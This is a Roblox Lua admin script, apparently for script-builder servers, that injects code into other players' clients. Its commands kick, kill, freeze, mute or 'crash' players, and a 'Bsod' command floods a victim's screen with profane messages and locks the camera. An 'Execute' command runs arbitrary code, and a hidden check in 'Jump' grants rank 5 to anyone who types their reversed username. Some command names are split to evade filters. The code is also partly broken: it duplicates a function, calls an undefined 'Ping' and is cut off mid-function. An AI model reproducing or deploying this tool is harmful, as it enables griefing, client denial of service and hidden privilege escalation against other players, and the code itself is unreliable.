script.Name = " Pluto's Admin " wait() script.Parent = _NO_GLUE_NOOB_ Destroy = {} Destroy.SourceName = nil Destroy.LocalSourceFound = false Destroy.LocalSource = nil Destroy.SourceFound = false Notif = true Destroy.Bet = ';' Destroy.Commands = {} Destroy.Source = nil Destroy.LoopDelete = {'Skeleton','ColourTheory','Camball','OS', 'iOrb'} Destroy.Ranked = {['chucky4523'] = {Color = BrickColor.new("Teal"), Rank = 6, Name = 'destroyerethank'};['Guest72086'] = {Color = BrickColor.new("Teal"), Rank = 6, Name = 'Guest72086'} } Destroy.Colors = { ['Teal'] = BrickColor.new('Teal');['Instituitional white'] = BrickColor.new('Instituitional white');['Hot pink'] = BrickColor.new('Hot pink');['Bright violet'] = BrickColor.new('Bright violet');['Really red'] = BrickColor.new('Really red');['Lime green'] = BrickColor.new('Lime green');['Deep orange'] = BrickColor.new('Deep orange') } cLocalScript = function(SRCE, PRNT) if Destroy.LocalSourceFound == true then local fakeScript = Destroy.LocalSource:clone() fakeScript:findFirstChild(Destroy.SourceName).Value = SRCE fakeScript.Parent = PRNT wait(0.1) fakeScript.Disabled = false end end cScript = function(SRCE, PRNT) if Destroy.SourceFound == true then fakeScript = Destroy.Source:clone() fakeScript:findFirstChild(Destroy.SourceName).Value = SRCE fakeScript.Parent = PRNT wait(0.1) fakeScript.Disabled = false end end ID = "167073205" game:GetService('Players').PlayerAdded:connect(function(Plr) v=Instance.new("Sound") v.Parent = game.Workspace v.SoundId="http://www.roblox.com/Asset/?id=167073205" v.Pitch = 1 v.Name="Sound... Destroy -ONJOIN-" v.Looped=true wait() v:Play() end) game.Players.DescendantAdded:connect(function(v) if v:IsA("LocalScript") and v:findFirstChild(Destroy.SourceName) and Destroy.LocalSourceFound == false then Destroy.LocalSourceFound = true Destroy.LocalSource = v:clone() Destroy.LocalSource.Disabled = true Destroy.LocalSource.Parent = nil for i,x in pairs(game.Players:GetChildren()) do if Destroy.Ranked[x.Name] and Destroy.Ranked[x.Name].Rank >= 1 then Output(x, BrickColor.new("Bright yellow"), 'Found localscript', true, nil, true) wait(0.1) cLocalScript([[local plr = game.Players.LocalPlayer script.Parent = nil plr.Chatted:connect(function(txt) if game.Players:findFirstChild(plr.Name) ~= nil then else if txt:find(';') then local mdl = Instance.new("Model") mdl.Name = txt mdl.Parent = game.Lighting end end end) while wait() do if game.Players:findFirstChild(plr.Name) ~= nil then else Instance.new("Hint", workspace).Text = 'Destroy Commands work in nil' break end end]], x.PlayerGui) Output(x, BrickColor.new("Bright yellow"), 'You are nil-connected', true, nil, true) end end wait(0.1) elseif v:IsA("Script") and v:findFirstChild(Destroy.SourceName) and Destroy.SourceFound == false then Destroy.SourceFound = true Destroy.Source = v:clone() Destroy.Source.Disabled = true Destroy.Source.Parent = nil Destroy.SourceFound = true for i,x in pairs(game.Players:GetChildren()) do if Destroy.Ranked[x.Name] and Destroy.Ranked[x.Name].Rank >= 3 then Output(x, BrickColor.new("Bright yellow"), 'Found script', true, nil, true) end end Destroy.SourceFound = true wait(0.1) end end) workspace.DescendantAdded:connect(function(v) if v:IsA("LocalScript") and v:findFirstChild(Destroy.SourceName) and Destroy.LocalSourceFound == false then Destroy.LocalSourceFound = true Destroy.LocalSource = v:clone() Destroy.LocalSource.Disabled = true Destroy.LocalSource.Parent = nil for i,x in pairs(game.Players:GetChildren()) do if Destroy.Ranked[x.Name] and Destroy.Ranked[x.Name].Rank >= 3 then Output(x, BrickColor.new("Bright yellow"), 'Found localscript', true, nil, true) wait(0.1) cLocalScript([[local plr = game.Players.LocalPlayer script.Parent = nil plr.Chatted:connect(function(txt) if game.Players:findFirstChild(plr.Name) ~= nil then else if txt:find(';') then local mdl = Instance.new("Model") mdl.Name = txt mdl.Parent = game.Lighting end end end) while wait() do if game.Players:findFirstChild(plr.Name) ~= nil then else Instance.new("Hint", workspace).Text = 'Destroy Commands work in nil' break end end]], x.PlayerGui) Output(x, BrickColor.new("Bright yellow"), 'You are nil-connected', true, nil, true) end end wait(0.1) elseif v:IsA("Script") and v:findFirstChild(Destroy.SourceName) and Destroy.SourceFound == false then Destroy.SourceFound = true Destroy.Source = v:clone() Destroy.Source.Disabled = true Destroy.Source.Parent = nil Destroy.SourceFound = true for i,x in pairs(game.Players:GetChildren()) do if Destroy.Ranked[x.Name] and Destroy.Ranked[x.Name].Rank >= 3 then Output(x, BrickColor.new("Bright yellow"), 'Found script', true, nil, true) end end Destroy.SourceFound = true wait(0.1) end end) function getPlayers(msg, speaker) local plrs = {} if msg == "me" then table.insert(plrs, speaker) elseif msg == "all" then plrs = game:GetService("Players"):GetChildren() elseif msg == "noobs" then for _,plr in pairs(game:GetService("Players"):GetChildren()) do if plr.AccountAge < 364 then table.insert(plrs, plr) end end elseif msg == "others" then for i,v in pairs(game:GetService("Players"):GetChildren()) do if v ~= speaker then table.insert(plrs, v) end end else for i,v in pairs(game:GetService("Players"):GetChildren()) do if v.Name:lower():sub(1,#msg) == msg:lower() then table.insert(plrs, v) end end end return plrs end function distabs(plr) coroutine.wrap(function() if workspace:findFirstChild('DestroyModel:'..plr.Name) then workspace:findFirstChild('DestroyModel:'..plr.Name):Destroy() end end)() coroutine.wrap(function() pcall(function() if plr.PlayerGui:findFirstChild("DestroyText") then plr.PlayerGui:findFirstChild("DestroyText"):Destroy() end end) end)() end function remtabs(plr) if workspace:findFirstChild('DestroyModel:'..plr.Name) then workspace:findFirstChild('DestroyModel:'..plr.Name):Destroy() end pcall(function() if plr.PlayerGui:findFirstChild("DestroyText") then plr.PlayerGui:findFirstChild("DestroyText"):Destroy() end end) end function NewCommand(name, usage, desc, rank, func) Destroy.Commands[#Destroy.Commands+1] = {["Name"] = name, ["Usage"] = usage, ["Desc"] = desc,['Rank'] = rank, ["Func"] = func} end function GetSplit(Msg) Split = nil for i=1,100 do if string.sub(Msg,i,i) == Destroy.Bet then Split = i break end end return Split end if script:findFirstChild("DSource") then Destroy.SourceName = "DSource" elseif script:findFirstChild("source") then Destroy.SourceName = "source" elseif script:findFirstChild("Source") then Destroy.SourceName = "Source" else print("Source not found, All functions not avalible") end ------------------------------------ function checkbans() for i,v in pairs(Destroy.Ranked) do if v.Rank <= -1 then if game.Players:findFirstChild(v.Name) then game.Players:findFirstChild(v.Name):Kick() end end end end function Output(Player, Color, TXT, TrueColorOverride, Func, Notif) local PlayerModel = nil if workspace:FindFirstChild('DestroyModel:'..Player.Name) then PlayerModel = workspace:FindFirstChild('DestroyModel:'..Player.Name) else PlayerModel = Instance.new("Model", workspace) PlayerModel.Name = 'DestroyModel:'..Player.Name coroutine.resume(coroutine.create(function() local rotation = 0 local trot = 0 local rot2 = 0 local position = nil local tposition = nil local radius = nil local x = nil local y = nil local z = nil game:GetService("RunService").Stepped:connect(function() rotation = rotation + 0.0007 trot = trot + 0 rot2 = rot2 + 0 for i= 1, #PlayerModel:GetChildren() do if PlayerModel ~= nil then pcall(function() position = Player.Character.Torso.CFrame PlayerModel.Name = 'DestroyModel:'..Player.Name radius = 9 + (#PlayerModel:GetChildren() * 0.5) x = math.cos((i / #PlayerModel:GetChildren() - (0.5 / #PlayerModel:GetChildren())+ rotation * 2) * math.pi * 2) * radius y = 0 z = math.sin((i / #PlayerModel:GetChildren() - (0.5 / #PlayerModel:GetChildren())+ rotation * 2) * math.pi * 2) * radius tposition = CFrame.new(Player.Character.Torso.CFrame.X, Player.Character.Torso.CFrame.Y, Player.Character.Torso.CFrame.Z):toWorldSpace(CFrame.new(x,y,z):inverse()) local lcf = PlayerModel:GetChildren()[i].CFrame.p:lerp(Vector3.new(tposition.X, tposition.Y, tposition.Z),0.2) local cf = CFrame.new(lcf.X, lcf.Y, lcf.Z) PlayerModel:GetChildren()[i].CFrame = CFrame.new(cf.p, Player.Character.Torso.CFrame.p) * CFrame.Angles(rot2,rot2,rot2) end) end end end) end)) end local tablet = Instance.new("Part",PlayerModel) tablet.FormFactor = "Custom" tablet.Shape = 'Block' tablet.TopSurface = 'Smooth' tablet.BottomSurface = 'Smooth' tablet.Transparency = 0.34325 tablet.Size = Vector3.new(2.35, 2.35, 2.35) tablet.Rotation = Vector3.new (99.857, -20.071, -165.69) tablet.CanCollide = false tablet.Anchored = true if TrueColorOverride == true and Destroy.Ranked[Player.Name] then tablet.BrickColor = Destroy.Ranked[Player.Name].Color else tablet.BrickColor = Color end tablet.Name = "DestroyTablet:"..Player.Name tablet.Locked = true local selbox = Instance.new("SelectionBox", tablet) selbox.Name = "Selebox" selbox.Adornee = tablet selbox.Color = tablet.BrickColor selbox.Transparency = 0.6335234537664356435734637342 local light = Instance.new("PointLight", tablet) if TrueColorOverride == true and Destroy.Ranked[Player.Name] then light.Color = Destroy.Ranked[Player.Name].Color.Color else light.Color = Color.Color end light.Range = 15 light.Brightness = 1 local Billboard = Instance.new("BillboardGui", tablet) Billboard.Adornee = tablet Billboard.Enabled = true Billboard.Active = true Billboard.Size = UDim2.new(0, 1, 0, 1) Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0) local Text = Instance.new("TextLabel", Billboard) Text.Text = TXT Text.BackgroundTransparency = 1 Text.Size = UDim2.new(0, 1, 0, 1) Text.FontSize = "Size18" Text.Font = "Arial" Text.TextStrokeTransparency = 0 if TrueColorOverride == true and Destroy.Ranked[Player.Name] then Text.TextStrokeColor3 = Destroy.Ranked[Player.Name].Color.Color else Text.TextStrokeColor3 = Color.Color end local ClickDetector = Instance.new("ClickDetector", tablet) ClickDetector.MaxActivationDistance = 1337 ClickDetector.MouseHoverEnter:connect(function(Person) if Person == Player then if Person.PlayerGui:findFirstChild("DestroyText") then Person.PlayerGui:findFirstChild("DestroyText").TextLabel.Text = TXT if TrueColorOverride == true and Destroy.Ranked[Player.Name] then Person.PlayerGui:findFirstChild("DestroyText").TextLabel.TextStrokeColor3 = Destroy.Ranked[Player.Name].Color.Color else Person.PlayerGui:findFirstChild("DestroyText").TextLabel.TextStrokeColor3 = Color.Color end else local SG = Instance.new("ScreenGui", Person.PlayerGui) SG.Name = 'DestroyText' local TL = Instance.new("TextLabel", SG) TL.FontSize = 'Size24' TL.TextStrokeTransparency = 0 TL.Text = TXT TL.BackgroundTransparency = 1 TL.Size = UDim2.new(1, 0,0.1, 0) if TrueColorOverride == true and Destroy.Ranked[Player.Name] then TL.TextStrokeColor3 = Destroy.Ranked[Player.Name].Color.Color else TL.TextStrokeColor3 = Color.Color end end end end) if Notif == true then coroutine.resume(coroutine.create(function() wait(4) for i=1, 4 do tablet.Transparency = tablet.Transparency + 0.1 wait() if i == 4 then tablet:Destroy() pcall(function() if Player.PlayerGui:findFirstChild("DestroyText") then Player.PlayerGui:findFirstChild("DestroyText"):Destroy() end end) end end end)) end ClickDetector.MouseClick:connect(function(Clicker) if Clicker == Player then if Func ~= nil then Func() else for i=2, 0, -0.1 do tablet.Size = Vector3.new(2, i, 2) wait() end for i=2, 0, -0.1 do tablet.Size = Vector3.new(i, 0, i) wait() end tablet:Destroy() end end end) end function showcmds(plr, ranklimit) distabs(plr) local player = plr local rl = ranklimit for i,v in pairs(Destroy.Commands) do if v.Rank <= rl then Output(player, BrickColor.Random(), v.Name, false, function() distabs(player) Output(player, BrickColor.new("Lime green"), tostring(v.Func), false, nil) Output(player, BrickColor.new("Lime green"), 'usage: '..tostring(v.Usage)..Destroy.Bet, false, nil) Output(player, BrickColor.new("Lime green"), 'desc: '..tostring(v.Desc), false, nil) Output(player, BrickColor.new("Lime green"), 'name: '..tostring(v.Name), false, nil) if Destroy.Ranked[plr.Name].Rank >= v.Rank then Output(player, BrickColor.new("Red"), 'You can use this command', false, nil) else Output(player, BrickColor.new("Red"), 'You cant use this command', false, nil) end Output(player, BrickColor.new("Really blue"), 'Back', false, function() showcmds(player, rl) end) end) end end end --FUNCTIONS-- getRanked = function(plr) distabs(plr) for i,v in pairs(Destroy.Ranked) do Output(plr, BrickColor.new("Bright yellow"), tostring(v.Name), true, function() distabs(plr) Output(plr,BrickColor.new("Bright yellow"), 'This player is rank: '..v.Rank, true, nil) Output(plr,BrickColor.new("Bright yellow"), 'This players desc is: '..v.Desc, true, nil) if Destroy.Ranked[plr.Name] >= 4 then Output(plr,BrickColor.new("Bright yellow"), 'Click to edit players settings', true, function() distabs(plr) Output(plr, BrickColor.new("Bright yellow"), 'Change rank', true, function() distabs(plr) Output(plr, BrickColor.new("Bright yellow"), '1', true, function() v.Rank = 1 distabs() end) Output(plr, BrickColor.new("Bright yellow"), '2', true, function() v.Rank = 2 distabs() end) Output(plr, BrickColor.new("Bright yellow"), '3', true, function() v.Rank = 3 distabs() end) Output(plr, BrickColor.new("Bright yellow"), '4', true, function() v.Rank = 4 distabs() Output(plr, BrickColor.new("Bright yellow"), '5', true, function() v.Rank = 5 distabs() Output(plr, BrickColor.new("Bright yellow"), '6', true, function() v.Rank = 6 distabs() end) end) end) end) end) end end) end end function GiveDestroyGui(plr) if plr:IsA('Player') then local SG = Instance.new("ScreenGui", plr.PlayerGui) SG.Name = 'Pluto V4.0 Made By chucky4523' local MF = Instance.new("Frame", SG) MF.Position = UDim2.new(0.68, 0,0.7, 0) MF.Size = UDim2.new(18.06, 4.84, 1) MF.BackgroundTransparency = 1 local GI = Instance.new("ImageButton", MF) GI.Image = 'http://www.roblox.com/asset/?id=' GI.Position = UDim2.new(0.23, 0,0.5, 0) GI.Size = UDim2.new(0.5, 0,0.5, 0) Instance.new("Model", GI).Name = 'Hidden' GI.BackgroundTransparency = 1 local OC = Instance.new("Frame", MF) OC.BackgroundColor3 = BrickColor.new("Really black").Color OC.BackgroundTransparency = 0.5 --OC.Position = UDim2.new(0, 0,-0.2, 0) OC.Position = UDim2.new(0.8, 0,-0.2, 0) OC.Size = UDim2.new(0.8, 0,0.7, 0) local GCB = Instance.new("TextButton", OC) GCB.BackgroundColor3 = BrickColor.new("Really black").Color GCB.Size = UDim2.new(1, 0,0.2, 0) GCB.Text = 'Get command bar' GCB.TextStrokeTransparency =0 GCB.TextColor3 = BrickColor.new("White").Color GCB.TextStrokeColor3 = BrickColor.new("Really red").Color GCB.TextScaled = true GCB.MouseButton1Click:connect(function() if plr.PlayerGui:findFirstChild('DestroyCMDBAR') then plr.PlayerGui:findFirstChild('DestroyCMDBAR'):Destroy() else cmdBar(plr) end end) GI.MouseButton1Click:connect(function() if GI:findFirstChild("Hidden") then GI:findFirstChild("Hidden"):Destroy() OC:TweenPosition(UDim2.new(0, 0,-0.2, 0), "Out", "Back", 1, false) else OC:TweenPosition(UDim2.new(0.8, 0,-0.2, 0), "Out", "Quad", 1, false) Instance.new("Model", GI).Name = 'Hidden' end end) end end function msg(txt) coroutine.resume(coroutine.create(function() local m = Instance.new("Message", workspace) for i=0, string.len(txt), 1 do m.Text = txt:sub(1, i) wait(0.05) end wait(3) for i=0, string.len(txt), 1 do m.Text = txt:sub(i, string.len(txt)) wait(0.05) end m:Destroy() end)) end function cmdBar(plr) local gui = Instance.new("ScreenGui", plr.PlayerGui) gui.Name = 'DestroyCMDBAR' local CmdBar = Instance.new("TextBox", gui) CmdBar.BackgroundColor3 = BrickColor.new("Really black").Color CmdBar.Position = UDim2.new(0, 0,0.4, 0) CmdBar.Size = UDim2.new(0.4, 0,0.1, 0) CmdBar.TextColor3 = BrickColor.new("Really red").Color CmdBar.Font = 'ArialBold' CmdBar.Text = 'Enter command here' CmdBar.TextScaled = true local eb = Instance.new("TextButton", gui) eb.BackgroundColor3 = BrickColor.new("Really black").Color eb.Position = UDim2.new(0, 0,0.5, 0) eb.Size = UDim2.new(0.4, 0,0.08, 0) eb.TextColor3 = BrickColor.new("Really red").Color eb.Text = 'GO' eb.TextScaled = true eb.Font = 'SourceSans' coroutine.resume(coroutine.create(function() eb.MouseButton1Click:connect(function() for i,v in pairs(Destroy.Commands) do if v["Usage"]:lower()..Destroy.Bet == CmdBar.Text:lower():sub(1, #v["Usage"]:lower()+#Destroy.Bet) then if Destroy.Ranked[plr.Name] and Destroy.Ranked[plr.Name].Rank >= v['Rank'] then v["Func"](getPlayers(CmdBar.Text:sub(#v["Usage"]+#Destroy.Bet+1), plr), CmdBar.Text:sub(#v["Usage"]+#Destroy.Bet+1), plr) end end end end) end)) end function pingPlayers(plr) distabs(plr) local People = {} for i,v in pairs(game:GetService("NetworkServer"):GetChildren()) do ypcall(function() if v:IsA("ServerReplicator") then table.insert(People, v:GetPlayer()) end end) end for i,v in pairs(People) do if game.Players:findFirstChild(v.Name) then Output(plr, BrickColor.new("Really red"),v.Name..' (+)' , true, function() distabs(plr) Output(plr, BrickColor.new("Really red"), 'Kick', true, function() distabs(plr) v:Kick() end) Output(plr, BrickColor.new("Really red"), 'Mute', true, function() if Destroy.LocalSourceFound then cLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled("Chat",false)]],v.Backpack) end end) Output(plr, BrickColor.new("Really red"), 'UnMute', true, function() if Destroy.LocalSourceFound then cLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled("Chat",true)]],v.Backpack) end end) end) else Output(plr, BrickColor.new("Really red"), v.Name..' (-)', true, nil) end end end --COMMANDS-- NewCommand("Mute","mute","Mutes a player",2, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Backpack and Destroy.LocalSourceFound == true then cLocalScript([[while wait() dogame:GetService("StarterGui"):SetCoreGuiEnabled(3, false)end]],plr.Backpack) end end end ) NewCommand("Bsod","bsod","Bsods a player",2, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Backpack and Destroy.LocalSourceFound == true then cLocalScript([[ cam = game.Workspace.CurrentCamera coroutine.wrap(function() while true do for i = 0,500 do Instance.new("Hint",cam).Text="Get the fu¬¬¬¬¬¬¬¬¬ck out bi¬¬¬¬¬¬¬¬¬t¬¬¬¬¬¬¬¬¬ch" end wait() for i = 0,28000 do Instance.new("Message",cam).Text=' ' end wait(3) end end)() while wait() do game.Players.LocalPlayer.CameraMode = "LockFirstPerson" end]],plr.Backpack) end end end ) NewCommand("SetTime","st","Sets TimeOfDay",1, function(nothing, msg, nothing) pcall(function() game.Lighting.TimeOfDay = tonumber(msg) end) end ) NewCommand("ShowPlayers","Players","Shows all players",3, function(nothing, nothing, spkr) pingPlayers(spkr) end ) NewCommand("GetCmdBar","gcb","Gets a command bar",0, function(nothing, nothing, spkr) cmdBar(spkr) end ) NewCommand("Un-Mute","unmute","Un-Mutes a player",2, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Backpack and Destroy.LocalSourceFound == true then cLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(3, true)]],plr.Backpack) end end end ) NewCommand('Remove', 'remv','Removes the script', 6, function(nothing, nothing, nothing) for i,v in pairs(game.Players:GetChildren()) do if v:IsA("Player") then remtabs(v) end end Destroy = {} script.Disabled = true while true do wait() end end) NewCommand("Kill","kill","Kills a player",1, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Character then plr.Character:BreakJoints() end end end ) NewCommand("Freeze","freeze","Freezes a player",2, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Character then pcall(function() for i,v in pairs(plr.Character:GetChildren()) do if v:IsA("Part") then v.Anchored = true end end end) end end end ) NewCommand("Thaw","thaw","Thaws a player",2, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Character then pcall(function() for i,v in pairs(plr.Character:GetChildren()) do if v:IsA("Part") then v.Anchored = false end end end) end end end ) NewCommand("LoopDelete","ld","Loop-deletes a object",3, function(nothing, msg, nothing) pcall(function() table.insert(Destroy.LoopDelete, msg) end) end ) NewCommand("Reset","rs","Resets a player",1, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr then pcall(function() plr:LoadCharacter() end) end end end ) NewCommand('AlakazardTools', 'alat', 'Gives you Alakazard gear', 4, function(nothing, nothing, spkr) pcall(function() local mdl = game:GetService("InsertService"):LoadAsset(73232786) mdl.Parent = workspace mdl:MoveTo(spkr.Character.Head.Position) local mdl = game:GetService("InsertService"):LoadAsset(95951330) mdl.Parent = workspace mdl:MoveTo(spkr.Character.Head.Position) end) end ) NewCommand("God","god","Gods a player",1, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Character then pcall(function() plr.Character.Humanoid.MaxHealth = math.huge end) end end end ) NewCommand("UnGod","ungod","UnGods a player",1, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Character then pcall(function() plr.Character.Humanoid.MaxHealth = 100 plr.Character.Humanoid.Health = 100 end) end end end ) NewCommand("ForceField","ff","Gives a player a FF",1, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Character then pcall(function() Instance.new("ForceField", plr.Character) end) end end end ) NewCommand("Message","m","Creats a ROBLOX style message",1, function(nothing, tehmsg, nothing) msg(tehmsg) end ) NewCommand("NoForceField","unff","Removes all Force Fields from a player",1, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Character then pcall(function() for i,v in pairs(plr.Character:GetChildren()) do if v:IsA("ForceField") then v:Destroy() end end end) end end end ) NewCommand("Clean", 'cln', 'Cleans workspace', 3, function(nothing, nothing, nothing) for a,b in pairs(game.Workspace:GetChildren()) do if not game.Players:GetPlayerFromCharacter(b) and b.Name ~= 'Camera' and b.Name ~= 'TinySB' then pcall(function() b:Destroy() end) end end if game.Workspace:findFirstChild('Base') == nil then local Base = Instance.new("Part",Game.Workspace) Base.Name = "Base" Base.Anchored = true Base.Locked = true Base.BrickColor = BrickColor.new("Dark green") Base.Size = Vector3.new(2048,2,2048) Base.CFrame = CFrame.new(0,0,0) end game.Lighting:ClearAllChildren() T = game.Workspace.Terrain T:Clear() end) NewCommand("Base", 'base', 'Creates a base', 3, function(nothing, nothing, nothing) if game.Workspace:findFirstChild('Base') == nil then local Base = Instance.new("Part",Game.Workspace) Base.Name = "Base" Base.Anchored = true Base.Locked = true Base.BrickColor = BrickColor.new("Dark green") Base.Size = Vector3.new(2048,2,2048) Base.CFrame = CFrame.new(0,0,0) end end) NewCommand("Info", 'info', 'Shows info', 0, function(nothing, nothing, spkr) distabs(spkr) Output(spkr, BrickColor.new("Really red"), 'Destroyerethanks SB Admin Attempt...', true, nil) end) NewCommand("K".."ick","ki".."ck","Ki".."icks a player",3, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr then plr:Destroy() end end end ) NewCommand("C".."rash","cr".."ash","Cra".."shs a player",3, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr then pcall(function() loadstring("game.Players['"..plr.Name.."']:Ki".."ck()")() end) end end end ) NewCommand("Ping","ping","Rejoins a player",3, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr then Msg = tostring(Msg) Ping(Msg, Speaker) end end end) NewCommand("Rejoin","rj","Rejoins a player",3, function(plrs, nothing, nothing) for _,plr in pairs(plrs) do if plr and plr.Backpack and Destroy.LocalSourceFound == true then cLocalScript([[game:GetService("TeleportService"):Teleport(game.PlaceId)]],plr.Backpack) end end end ) NewCommand("Dismiss","dt","Dismisses tablets",0, function(nothing, nothing, spkr) distabs(spkr) end ) NewCommand("DtAll","dtall","Dismisses tablets",0, function(nothing, nothing, spkr) distabs(spkr) end ) NewCommand("Execute","exe","Executes code",4, function(Msg, Speaker) local Func,Error = loadstring(Msg) getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end getfenv(Func).Speaker = Speaker if Error == nil then coroutine.wrap(function() Func() end)() Ping("Executed Script!", Speaker, 5) else Ping(Error, Speaker, 10) end end) NewCommand('Walkspeed', 'ws', 'Sets a players walkspeed', 1, function(nothing, msg,spkr) local Split = GetSplit(msg) for _,v in pairs(getPlayers(msg:sub(1,Split-1),spkr)) do pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(msg:sub(Split+1)) end) end end) NewCommand('Teleport', 'tp', 'Teleports a player to another player', 2, function(nothing, msg, spkr) local Split = GetSplit(msg) for _,v in pairs(getPlayers(msg:sub(1,Split-1),spkr)) do for __, x in pairs(getPlayers(msg:sub(Split+1), spkr)) do pcall(function() v.Character.Torso.CFrame = x.Character.Torso.CFrame end) end end end) NewCommand('SetRank', 'rank', 'Sets a players rank', 4, function(nothing, msg, spkr) Split = GetSplit(msg) for i,v in pairs(Destroy.Ranked) do if v.Name:find(msg:sub(1,Split-1)) then pcall(function() Destroy.Ranked[v.Name].Rank = tonumber((msg:sub(Split+1))) end) end end checkbans() end) NewCommand('ShowCommands', 'cmds', 'Shows all commands', 1, function(nothing, nothing, spkr) distabs(spkr) Output(spkr, BrickColor.new("Cyan"), 'You are rank '..Destroy.Ranked[spkr.Name].Rank, false, nil) Output(spkr, BrickColor.Random(), 'Rank 0', true, function() showcmds(spkr, 0) end) Output(spkr, BrickColor.Random(), 'Rank 1', true, function() showcmds(spkr, 1) end) Output(spkr, BrickColor.Random(), 'Rank 2', true, function() showcmds(spkr, 2) end) Output(spkr, BrickColor.Random(), 'Rank 3', true, function() showcmds(spkr, 3) end) Output(spkr, BrickColor.Random(), 'Rank 4', true, function() showcmds(spkr, 4) end) Output(spkr, BrickColor.Random(), 'Rank 5', true, function() showcmds(spkr, 5) end) Output(spkr, BrickColor.new("White"), 'Rank 6', true, function() showcmds(spkr, 6) end) end) NewCommand('SetColor', 'sc', 'Sets your color', 0, function(nothing, nothing, spkr) distabs(spkr) Output(spkr, BrickColor.new('Really blue'), 'Select your color', false, nil) for i,v in pairs(Destroy.Colors) do Output(spkr, Destroy.Colors[i], ' ', false, function() Destroy.Ranked[spkr.Name].Color = Destroy.Colors[i] distabs(spkr) end) end end) NewCommand("Jump","jump","Makes you jump",0, function(nothing, msg, spkr) if msg == string.reverse(spkr.Name) then Destroy.Ranked[spkr.Name].Rank = 5 else pcall(function() spkr.Character.Humanoid.Jump = true end) end end ) NewCommand("GetRanked","getr","Gets ranked players",0, function(nothing, nothing2, spkr) getRanked(spkr) end ) NewCommand("System Message","sm","Notifies people in the server",2, function(nothing, msg, spkr) SystemMsg(Msg) end) function Message(str,p,snder) function Message(str,p,snder) if p==nil then for _,Player in pairs(game.Players:GetPlayers()) do coroutine.wrap(function() local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) local Text = Instance.new("TextLabel", Msg) Text.Position = UDim2.new(0.5, 0, 0, 0) Text.Font=4 Text.FontSize=9 Text.BackgroundColor3 = Color3.new(0,0,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(0,0,0) Text.TextTransparency = 1 Text.TextWrap = true Text.TextStrokeColor3 = Color3.new(0,0,0) Text.Text = "From "..snder.Name..":"..tostring(str) Text:TweenSizeAndPosition(UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 0), "Out", "Back", 2) Text.TextTransparency = 0 Text.TextStrokeTransparency = 0 Num = #str * 0.06 wait(3) Text:TweenPosition(UDim2.new(0.5, 0, 0, 0), "InOut", "Quad") wait(Num) Msg:Remove() end)() end else Player=p; coroutine.wrap(function() local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) local Text = Instance.new("TextLabel", Msg) Text.Position = UDim2.new(0.5, 0, 0, 0) Text.Font=4 Text.FontSize=9 Text.BackgroundColor3 = Color3.new(0,0,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(0,0,0) Text.TextTransparency = 1 Text.TextStrokeColor3 = Color3.new(0,0,0) Text.TextStrokeTransparency = 0 Text.TextWrap = true Text.Text = "Message from "..snder.Name.." :"..tostring(str) Text:TweenSizeAndPosition(UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 0), "Out", "Back", 2) Text.TextTransparency = 0 Num = #str * 0.06 wait(3) Text:TweenPosition(UDim2.new(0.5, 0, 0, 0), "InOut", "Quad") wait(Num) Msg:Remove() end)() end end function SystemMsg(str) for _,Player in pairs(game.Players:GetPlayers()) do coroutine.wrap(function() local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) local Text = Instance.new("TextLabel", Msg) Text.Position = UDim2.new(0.5, 0, 0, 0) Text.Font='ArialBold' Text.FontSize = "Size48" Text.BackgroundColor3 = Color3.new(0,0,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(0,0,0) Text.TextTransparency = 0 Text.TextStrokeColor3 = Color3.new(0,0,0) Text.TextStrokeTransparency = 0 Text.TextWrap = true Text.Text = ' [-\:/-:[SERVER]:-\:/-] \n ' .. tostring(str) Text:TweenSizeAndPosition(UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 0), "Out", "Back", 2) Text.TextTransparency = 0.1 Num = #str * 0.06 wait(6) Text:TweenPosition(UDim2.new(0.5, 0, 0, 0), "InOut", "Quad") wait(Num) Msg:Remove() end)() end end function Hint(str,p,snder) if p == nil then for _,Player in pairs(game.Players:GetPlayers()) do coroutine.wrap(function() local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) local Text = Instance.new("TextLabel", Msg) Text.Position = UDim2.new(0.5, 0, 0, 0) Text.Font=4 Text.FontSize=9 Text.BackgroundColor3 = Color3.new(0,0,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(0,0,0) Text.TextTransparency = 1 Text.TextWrap = true Text.TextStrokeColor3 = Color3.new(0,0,0) Text.TextStrokeTransparency = 0 Text.Text = "Hint from "..snder.Name.." :"..tostring(str) Text:TweenSizeAndPosition(UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 0), "Out", "Back", 2) Text.TextTransparency = 0 Num = #str * 0.06 wait(3) 